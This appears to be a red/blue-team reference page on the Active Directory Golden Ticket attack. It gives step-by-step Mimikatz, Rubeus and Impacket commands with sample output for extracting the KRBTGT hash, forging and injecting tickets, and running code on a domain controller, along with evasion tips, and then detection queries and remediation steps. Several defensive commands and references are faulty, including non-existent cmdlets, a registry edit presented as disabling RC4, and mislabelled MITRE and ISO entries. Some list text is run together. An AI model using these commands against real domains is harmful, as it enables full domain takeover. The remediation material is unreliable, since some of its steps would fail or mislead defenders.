| Attribute | Details |
|---|---|
| Technique ID | CA-KERB-003 |
| MITRE ATT&CK v18.1 | T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket |
| Tactic | Credential Access, Persistence |
| Platforms | Windows AD (Server 2003 SP2+); All Active Directory Functional Levels |
| Severity | Critical |
| CVE | CVE-2014-6324 (MS14-068 - Kerberos PAC validation, patched but relates to forged ticket acceptance) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | Windows Server 2003 SP2 through 2025; All DFL levels |
| Patched In | N/A (not patchable; requires KRBTGT hash extraction mitigation + password rotation) |
| Author | SERVTEP – Artur Pchelnikau |
Note: All sections dynamically renumbered. Golden tickets remain one of the most potent Active Directory persistence techniques due to cryptographic validity.
Concept: A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) created using the stolen or compromised KRBTGT account password hash. The KRBTGT account is the Key Distribution Center (KDC) service account responsible for signing and encrypting all legitimate TGTs in Active Directory. An attacker with the KRBTGT hash can forge cryptographically valid TGTs offline—on any machine, even non-domain-joined systems—impersonating any user (including Domain Admins) with arbitrary group memberships and extended ticket lifetimes. These forged tickets bypass normal authentication mechanisms and enable unrestricted access to domain resources.
Attack Surface: The KRBTGT account password hash (NTLM/RC4 or AES-256). Access to this hash requires:
lsadump::dcsync /user:krbtgtsekurlsa::logonpasswordsBusiness Impact: Complete domain compromise with persistent, cryptographically valid access. Golden Tickets provide attackers with:
This represents the ultimate persistence mechanism in Active Directory.
Technical Context: Golden tickets are forensically difficult to detect because they are cryptographically indistinguishable from legitimate TGTs. Detection relies on correlation analysis (4769 events without preceding 4768) and behavioral anomalies (unusual ticket lifetimes, access patterns). Offline creation means no real-time detection during ticket generation—only at usage time.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.3.1.5, 5.3.1.6 | Monitor KRBTGT account for unusual activity; enforce strong password policies; monitor account creation/modification |
| DISA STIG | WN16-AU-000050, WN19-AU-000050 | Ensure ‘Audit Account Management’ is enabled; audit all account modifications |
| CISA SCuBA | ID.AM-2, PR.AC-1, DE.AE-3 | Asset identification; access control; detection of credential access |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Enforcement), AU-2 (Audit Events) | Manage privileged accounts; log all privileged operations; enforce access control |
| GDPR | Art. 5 (Principles), Art. 32 (Security of Processing) | Integrity and confidentiality of authentication credentials; protective measures against compromise |
| DORA | Art. 9 (Protection and Prevention), Art. 10 (Detection and Response) | Protect critical authentication infrastructure; detect and respond to credential compromise |
| NIS2 | Art. 21 (Cyber Risk Management), Art. 23 (Access Control), Art. 24 (Cryptography) | Manage identity-based risks; enforce access control; ensure cryptographic validity of tickets |
| ISO 27001 | A.9.1.1 (Access Control Policy), A.9.2.3 (Privileged Access Management), A.10.2.1 (KRBTGT Monitoring) | Control access to KDC service account; audit privilege escalation; monitor KRBTGT changes |
| ISO 27005 | Risk Scenario: “Compromise of KRBTGT and forged ticket generation” | Assess probability of KRBTGT compromise; implement detective/preventive controls |
Supported Versions:
Tools:
# Check if KRBTGT account is accessible (for later verification)
Get-ADUser -Identity "krbtgt" -Properties passwordLastSet, enabled
# Output should show:
# Name : krbtgt
# Enabled : True
# PasswordLastSet: (some date)
What to Look For:
# Get Domain SID (required for golden ticket)
Get-ADDomain | Select-Object DomainSID, Name, NetBIOSName
# Example output:
# DomainSID : S-1-5-21-3737340914-2019594255-2413685307
# Name : pentestlab.local
# NetBIOSName : PENTESTLAB
# Get Domain Admins SID (for /groups parameter in golden ticket)
Get-ADGroup -Identity "Domain Admins" | Select-Object SID
# Example output:
# SID : S-1-5-21-3737340914-2019594255-2413685307-512 (RID 512 = Domain Admins)
# Other high-privilege group RIDs:
# 512 = Domain Admins
# 518 = Schema Admins
# 519 = Enterprise Admins
# 520 = Group Policy Creator Owners
Supported Versions: Server 2003 SP2 through 2025
Objective: Obtain the NTLM hash of the KRBTGT account (prerequisite for golden ticket creation).
# On Domain Controller with elevated privileges (SYSTEM or Domain Admin)
# Method 1: DCSync (requires replication rights - members of Domain Admins, Enterprise Admins, Administrators)
mimikatz # lsadump::dcsync /user:krbtgt /domain:pentestlab.local
Expected Output:
[DC] 'pentestlab.local' will be the domain
[DC] 'DC01.pentestlab.local' will be the DC server
[DC] 'krbtgt' will be the user account
Object RDN : krbtgt
** SAM Account Name : krbtgt
** Account Type : 30000001 ( USER_OBJECT )
objectClass : user
objectSid : S-1-5-21-3737340914-2019594255-2413685307-502
Credentials:
Hash NTLM: d125e4f69c851529045ec95ca80fa37e
Hash AES256: 73f2e6...
What This Means:
d125e4f69c851529045ec95ca80fa37e (used for /rc4 or /krbtgt flag)OpSec & Evasion:
Version-Specific Notes: Identical across all Windows Server versions (2003-2025).
Troubleshooting:
RunAs /user:domain\admin mimikatz.exeObjective: Forge a TGT signed with KRBTGT hash; inject into current session.
# Basic golden ticket creation
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ptt
# Or using RC4 explicitly
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /rc4:d125e4f69c851529045ec95ca80fa37e /ptt
# With elevated privileges (Domain Admin SID 512)
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /groups:512 /ptt
# With Enterprise Admin privileges (cross-forest access)
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /groups:512,518,519 /sids:S-1-5-21-FOREST-SID-519 /ptt
# With extended lifetime (40320 minutes = 28 days instead of default)
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:admin.kirbi /startoffset:-10 /endin:40320
# Save to file instead of injecting
mimikatz # kerberos::golden /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:golden.kirbi
Expected Output:
User : Administrator
Domain : pentestlab.local
SID : S-1-5-21-3737340914-2019594255-2413685307
User ID : 500
Group ID : 513
ServiceKey: d125e4f69c851529045ec95ca80fa37e (RC4-HMAC)
Lifetime : 600 (10 hours, default TGT lifetime) / 604800 (7 days, max renewal)
->Ticket : golden.kirbi
Golden ticket generation
* for domain : pentestlab.local
* for user : Administrator
* creation time: 1/6/2026 9:30 AM
* starting time: 1/6/2026 9:30 AM
* ending time : 1/6/2026 7:30 PM
* renew till : 1/13/2026 9:30 AM
* Flags 40201000 ->
...
Ticket : golden.kirbi (*)
LUID 0 ; UserID = 500
* Golden ticket for 'Administrator @ pentestlab.local' successfully submitted for current session
What This Means:
OpSec & Evasion:
/ptt flag injects immediately; risky if monitoring/ticket:admin.kirbi) and inject later with kerberos::pttFlag Explanations:
/user: Username to impersonate (can be non-existent)/domain: Fully qualified domain name/sid: Domain SID (without RID)/krbtgt: KRBTGT NTLM hash/groups: Group RIDs (512 = Domain Admins; comma-separated)/sids: Extra SIDs (for cross-forest Enterprise Admin)/ptt: Pass-the-ticket (inject immediately)/ticket: Save to file/endin: Lifetime in minutesVersion-Specific Notes: Identical across all Windows versions 2003-2025.
Troubleshooting:
S-1-5-21-XXXXXXX-XXXXXXX-XXXXXXX (no RID at end)Objective: Confirm ticket injection and use for service access.
# List current tickets
mimikatz # kerberos::tgt
# Or in elevated session
mimikatz # kerberos::list
# Expected output shows Administrator TGT with 10-year expiry (unusual)
Verify Service Access:
# Exit Mimikatz and test access
exit
# Now authenticated as Administrator
# Attempt to access a service
dir \\DC01\c$ # Should succeed (CIFS service ticket obtained from forged TGT)
# Or use PsExec
psexec.exe \\DC01 cmd.exe # Execute code on DC as Administrator
Supported Versions: Server 2003 SP2 through 2025
# Rubeus will auto-gather domain info via LDAP
Rubeus.exe golden /aes256:KRBTGT_AES256_HASH /user:Administrator /ldap /ptt
# Or explicit values
Rubeus.exe golden /rc4:d125e4f69c851529045ec95ca80fa37e /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /groups:512,513,520 /ptt
# Save to file
Rubeus.exe golden /rc4:d125e4f69c851529045ec95ca80fa37e /user:Administrator /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /outfile:golden.kirbi
Expected Output:
[*] Action: Build TGT
[*] Forging TGT for user 'Administrator' in domain 'pentestlab.local'
[*] Using KRBTGT hash: d125e4f69c851529045ec95ca80fa37e
[*] Domain SID: S-1-5-21-3737340914-2019594255-2413685307
[*] Groups: 513
[+] Golden TGT forged successfully!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVBFTlRFU1RMQU...
[*] Injecting ticket into current session...
[+] Ticket successfully injected!
OpSec & Evasion:
execute_assembly in Cobalt Strike (CLR injection)Supported Versions: Server 2003 SP2 through 2025
# Create golden ticket using Ticketer.py
python3 ticketer.py -nthash d125e4f69c851529045ec95ca80fa37e \
-domain-sid S-1-5-21-3737340914-2019594255-2413685307 \
-domain pentestlab.local \
Administrator
# With extra privileges (Domain Admin)
python3 ticketer.py -nthash d125e4f69c851529045ec95ca80fa37e \
-domain-sid S-1-5-21-3737340914-2019594255-2413685307 \
-domain pentestlab.local \
-user-id 500 \
-extra-sid S-1-5-21-3737340914-2019594255-2413685307-512 \
Administrator
# Output is .ccache file (compatible with impacket tools)
# Use with psexec
python3 psexec.py -k -no-pass -cc Administrator@pentestlab.local -dc-ip 192.168.1.10
04907e32-26de-4c28-a0a5-a82dbe0d9edfExecution:
Invoke-AtomicTest T1558.001 -TestNumbers 1
Reference: Atomic Red Team - T1558.001
Version: 2.2.0+
Supported Platforms: Windows (all versions with Kerberos)
Installation:
# Download compiled binary
https://github.com/gentilkiwi/mimikatz/releases
# Or build from source
git clone https://github.com/gentilkiwi/mimikatz.git
cd mimikatz\x64\Release
mimikatz.exe
Key Commands for Golden Tickets:
# Extract KRBTGT hash via DCSync
lsadump::dcsync /user:krbtgt
# Extract from NTDS.dit (offline, no network required)
lsadump::sam /system:SYSTEM /sam:SAM
# Create golden ticket (inline injection)
kerberos::golden /user:Administrator /domain:domain.local /sid:SID /krbtgt:HASH /ptt
# Create golden ticket (save to file)
kerberos::golden /user:Administrator /domain:domain.local /sid:SID /krbtgt:HASH /ticket:admin.kirbi
# List current tickets
kerberos::list
# Purge all tickets
kerberos::purge
Version: 2.3.3+
Supported Platforms: Windows (all .NET versions)
Key Commands:
# Create golden ticket with LDAP auto-lookup
Rubeus.exe golden /rc4:HASH /user:Administrator /ldap /ptt
# Create with explicit parameters
Rubeus.exe golden /rc4:HASH /user:Administrator /domain:domain.local /sid:SID /groups:512 /ptt
# Save to file
Rubeus.exe golden /rc4:HASH /user:Administrator /domain:domain.local /sid:SID /outfile:ticket.kirbi
# Pass-the-ticket (inject from file)
Rubeus.exe ptt /ticket:ticket.kirbi
Installation:
pip3 install impacket
# Or
git clone https://github.com/SecureAuthCorp/impacket.git && cd impacket && pip3 install .
Key Commands:
# Create golden ticket
python3 ticketer.py -nthash HASH -domain-sid SID -domain domain.local USERNAME
# Create with groups (Domain Admin = RID 512)
python3 ticketer.py -nthash HASH -domain-sid SID -domain domain.local \
-user-id 500 -extra-sid SID-512 Administrator
# Output as ccache (Linux Kerberos format)
# Use with impacket tools: psexec.py, wmiexec.py, etc.
KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass domain.local/Administrator@TARGET
Rule Configuration:
KQL Query:
let TGT_Events = SecurityEvent
| where EventID == 4768
| project TGT_Account = TargetUserName, TGT_DC = Computer, TGT_Time = TimeGenerated
| distinct TGT_Account, TGT_DC;
SecurityEvent
| where EventID == 4769 // TGS request
| where ServiceName == "krbtgt" // TGT-related (golden ticket usage)
| join kind=leftanti TGT_Events on $left.TargetUserName == $right.TGT_Account
| summarize
TGS_Count = count(),
SPNs_Targeted = make_set(ServiceName),
Source_IPs = make_set(ClientAddress),
Service_Names = make_set(ServiceName)
by Computer, TargetUserName, bin(TimeGenerated, 5m)
| where TGS_Count >= 3 // Multiple TGS requests for same account
| project TimeGenerated, Computer, TargetUserName, TGS_Count, SPNs_Targeted, Source_IPs
What This Detects:
Manual Configuration (Azure Portal):
Golden Ticket Detection - No TGT Before TGSCriticalCredential Access, Persistence5 minutes2 hoursRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4769 // TGS request
| where TicketLifetime > 604800 // > 7 days (unusual for legitimate TGS)
| summarize
Unusual_Tickets = count(),
Accounts = make_set(TargetUserName),
Services = make_set(ServiceName),
Max_Lifetime = max(TicketLifetime)
by Computer, bin(TimeGenerated, 10m)
| where Unusual_Tickets >= 2
| project TimeGenerated, Computer, Unusual_Tickets, Accounts, Max_Lifetime
What This Detects:
Event ID: 4769 (Kerberos Service Ticket Request)
PreAuthType = 0 (no pre-auth, unusual for legitimate TGS)TicketLifetime (abnormally long)Event ID: 4662 (Operation on Active Directory Object)
SubjectUserName, AccessList (contains replication GUIDs)Enable Kerberos Audit Logging (All DCs):
gpupdate /force# Find 4769 events WITHOUT matching 4768 (golden ticket signature)
$TGS = Get-WinEvent -FilterXPath "*[System[(EventID=4769)]]" -LogName Security -MaxEvents 1000
$TGT = Get-WinEvent -FilterXPath "*[System[(EventID=4768)]]" -LogName Security -MaxEvents 1000
foreach ($event in $TGS) {
$account = $event.Properties[0].Value
$match = $TGT | Where-Object { $_.Properties[0].Value -eq $account -and $_.TimeCreated -gt $event.TimeCreated.AddHours(-1) }
if (-not $match) {
Write-Host "[ALERT] 4769 for $account WITHOUT preceding 4768" -ForegroundColor Red
}
}
Disk Artifacts:
mimikatz.exe) in %TEMP%, C:\Windows\Temp\, user profile.kirbi files (Kerberos ticket files) in attacker’s working directoryMemory Artifacts:
Event Log Artifacts (Windows Security):
lsadump::dcsync triggers this event with replication propertiesNetwork Artifacts:
Timeline Artifacts:
Action 1: Reset KRBTGT Password Twice (Emergency Containment)
This is the ONLY way to invalidate all existing golden tickets.
Applies To Versions: Server 2003 SP2 through 2025
Manual Steps (PowerShell Domain Admin):
# Step 1: Reset KRBTGT password first time
# Connect to Domain Controller
$dc = "DC01"
$krbtgt = Get-ADUser -Identity "krbtgt" -Server $dc
# Reset password (generates random 32-character password)
Set-ADAccountPassword -Identity $krbtgt -Server $dc -Reset -NewPassword (GenerateRandomPassword 32)
# Force replication to all DCs
Replicate-ADDirectoryPartition -DirectoryPartition (Get-ADRootDSE).defaultNamingContext -SourceDomainController $dc
# Wait 10 hours (default TGT lifetime) before second reset
# OR use -EffectiveImmediately for emergency (risky: may cause service disruption)
Start-Sleep -Seconds 36000 # 10 hours
# Step 2: Reset KRBTGT password second time (invalidates any in-flight golden tickets)
Set-ADAccountPassword -Identity $krbtgt -Server $dc -Reset -NewPassword (GenerateRandomPassword 32)
# Force replication again
Replicate-ADDirectoryPartition -DirectoryPartition (Get-ADRootDSE).defaultNamingContext -SourceDomainController $dc
# Verify both DCs synchronized
Get-ADReplicationPartnerMetadata -Target $dc -Partition (Get-ADRootDSE).defaultNamingContext | Select-Object Server, LastReplicationSuccess
Or, via Script (Automated):
Use Microsoft’s official KRBTGT reset script:
# Download official reset script from Microsoft
# https://github.com/microsoft/New-KrbtgtKeys.ps1
.\New-KrbtgtKeys.ps1 -Identity "krbtgt" -Domain "pentestlab.local" -Force
Consequences:
OpSec Note: Resetting KRBTGT does not prevent future golden tickets if attacker retains the old hash. Must also reset KRBTGT AES keys if AES is used.
Action 2: Enable KRBTGT Account Monitoring
# Monitor KRBTGT for unauthorized modifications
Get-ADUser -Identity "krbtgt" -Properties *, whenChanged | Select-Object samAccountName, pwdLastSet, whenChanged
# Create alert if password changed unexpectedly
$krbtgtLastChange = (Get-ADUser -Identity "krbtgt" -Properties pwdLastSet).pwdLastSet
if ($krbtgtLastChange -gt (Get-Date).AddDays(-30)) {
Write-Host "[ALERT] KRBTGT password changed within last 30 days" -ForegroundColor Red
}
Action 1: Disable or Restrict DCSync Permissions
Reduce attack surface by limiting who can perform DCSync.
# Check who has replication rights
Get-ADObject -Filter * -Properties ntSecurityDescriptor |
Where-Object { $_.ntSecurityDescriptor -match "DS-Replication" } |
Select-Object Name, ntSecurityDescriptor
# Remove DCSync rights from non-essential accounts
# By default: Domain Admins, Enterprise Admins, Administrators can DCSync
# Restrict to DCs only (Computer$ accounts)
Manual Steps (ADSI Edit):
Action 2: Enable AES-Only Kerberos Encryption (Disable RC4)
Reduces viability of RC4-based golden tickets (though RC4 hash extraction is still possible with AES enforcement).
# Set domain to enforce AES-only
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\Kerberos\Parameters" `
-Name "MaxTokenSize" -Value 32000 # Increase for larger PACs
# Or via Group Policy:
# Computer Configuration → Policies → Windows Settings → Security Settings →
# Local Policies → Security Options →
# "Network security: Configure encryption types allowed for Kerberos"
# Set to: AES128_HMAC_SHA1, AES256_HMAC_SHA1 (uncheck RC4)
Files:
C:\Windows\Temp\mimikatz.exe, Rubeus.exe*.kirbi files (Kerberos tickets)Registry:
Network:
Event Log:
Isolate Compromised Accounts:
# Disable any accounts that may have been compromised
Disable-ADAccount -Identity "Administrator"
# Force logoff active sessions (PowerShell Remoting)
Get-PSSession | Remove-PSSession
# Disconnect compromised workstations from network (isolate)
# Export Event ID 4769, 4768, 4662 from last 24 hours
wevtutil epl Security "C:\Evidence\Security_Kerberos_24h.evtx" `
/q:"*[System[(EventID=4769 or EventID=4768 or EventID=4662)]]"
# Search for golden ticket indicators
Get-WinEvent -FilterXPath "*[System[(EventID=4769)]]" -LogName Security -MaxEvents 1000 |
Where-Object { -not (Get-WinEvent -FilterXPath "*[System[(EventID=4768)]]" -LogName Security) } |
Export-Csv "C:\Evidence\Suspicious_TGS_Requests.csv"
Reset KRBTGT Twice (as outlined in Mitigations section)
Reset All Compromised User Passwords:
# Reset all privileged account passwords
$adminAccounts = Get-ADGroupMember -Identity "Domain Admins"
foreach ($account in $adminAccounts) {
Set-ADAccountPassword -Identity $account -Reset -NewPassword (GenerateRandomPassword 30)
}
Timeline Reconstruction:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1566 - Phishing] | Attacker gains initial foothold via phishing |
| 2 | Execution | [T1204 - User Execution] | User opens malicious attachment |
| 3 | Privilege Escalation | [T1548 - Abuse Elevation] | Escalate to local admin on compromised host |
| 4 | Lateral Movement | [T1021.002 - RDP] | Move to Domain Controller |
| 5 | Credential Access | [T1003 - OS Credential Dumping] | Extract NTDS.dit or use DCSync to get KRBTGT hash |
| 6 | Credential Access - Current | [CA-KERB-003: Golden Ticket] | Forge TGT with KRBTGT hash |
| 7 | Persistence | [T1556 - Modify Domain Policies] | Use golden ticket to maintain persistent access |
| 8 | Impact | [T1565 - Data Destruction] or [T1486 - Ransomware] | Deploy ransomware or exfiltrate data |